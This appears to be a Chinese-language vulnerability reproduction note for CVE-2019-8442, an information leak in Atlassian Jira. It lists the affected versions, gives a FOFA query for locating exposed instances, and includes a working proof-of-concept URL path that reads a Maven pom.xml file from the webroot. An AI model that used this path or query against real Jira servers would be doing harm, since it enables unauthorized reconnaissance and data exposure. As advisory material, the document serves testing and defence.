2022-05-24 17:29:00 +08:00
|
|
|
# Atlassian Jira com.atlassian.jira 敏感信息泄漏 CVE-2019-8442
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。 远程攻击者可利用该漏洞访问Jira webroot中的文件。
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
Atlassian Jira < 7.13.4
|
|
|
|
|
Atlassian Jira 8.00-8.0.4
|
|
|
|
|
Atlassian Jira 8.1.0-8.1.1
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
app="ATLASSIAN-JIRA"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
